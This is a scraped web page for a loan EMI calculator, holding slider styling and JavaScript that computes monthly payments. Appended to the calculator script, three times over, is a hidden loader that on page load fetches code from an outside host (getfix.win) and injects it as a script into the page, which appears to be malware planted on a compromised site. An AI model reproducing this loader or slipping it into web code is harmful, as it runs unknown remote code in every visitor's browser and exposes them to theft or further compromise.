Skip to content Skip to sidebar Skip to footer

EMI Calculator

.slider-wrapper { width: 100%; margin-bottom: 30px; } .slider-label { display: flex; justify-content: space-between; } input[type=”range”] { width: 100%; -webkit-appearance: none; appearance: none; height: 10px; background: #ddd; outline: none; opacity: 0.7; transition: opacity .2s; } input[type=”range”]::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; width: 25px; height: 25px; background: #BFAB98; cursor: pointer; border-radius: 50%; } input[type=”range”]::-moz-range-thumb { width: 25px; height: 25px; background: #BFAB98; cursor: pointer; border-radius: 50%; } .input-value { border: 1px solid #ccc; padding: 5px; text-align: center; width: 150px; } .slider-values { display: flex; justify-content: space-between; margin-top: 10px; font-size: 14px; color: #666; } .row1 { display: flex; justify-content: center; align-content: center; align-items: center; margin-bottom: 20px; } .slider-label { margin-right: 30px; } .btn:focus { outline: none; box-shadow: none; }

EMI Calculator

Loan Amount
025L50L75L100L125L150L175L200L
Annual Interest Rate
%
02.55.07.51012.51517.520
Loan Tenure
Y
051015202530
 

function formatNumber(num) { return num.toString().replace(/B(?=(d{2})+(?!d))/g, “,”); } function parseFormattedNumber(str) { return parseInt(str.replace(/,/g, ”)); } function attachSliderEvents(sliderId, inputId) { const slider = document.getElementById(sliderId); const input = document.getElementById(inputId); slider.addEventListener(‘input’, function () { input.value = formatNumber(slider.value); }); input.addEventListener(‘input’, function () { const value = parseFormattedNumber(input.value); if (!isNaN(value) && value >= slider.min && value <= slider.max) { slider.value = value; } }); } attachSliderEvents(‘loan-amount’, ‘monthlyInvestment1’); attachSliderEvents(‘interest-rate’, ‘monthlyInvestment2’); attachSliderEvents(‘loan-tenure’, ‘monthlyInvestment3’); function calculateEMI() { const loanAmount = parseFloat(document.getElementById(‘loan-amount’).value); const annualInterestRate = parseFloat(document.getElementById(‘interest-rate’).value); const loanTenure = parseInt(document.getElementById(‘loan-tenure’).value); const monthlyInterestRate = annualInterestRate / (12 * 100); const numberOfMonths = loanTenure * 12; const emi = (loanAmount * monthlyInterestRate * Math.pow(1 + monthlyInterestRate, numberOfMonths)) / (Math.pow(1 + monthlyInterestRate, numberOfMonths) – 1); document.getElementById(‘result’).value = “Monthly EMI: ” + emi.toFixed(2); };document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });

 

EMI Calculator
Loan Amount
50K 5L 10L 15L 20L
Annual Interest Rate (%)
%
1 5 10 15 20
Loan Tenure (Years)
Y
1 10 20 30

Leave a comment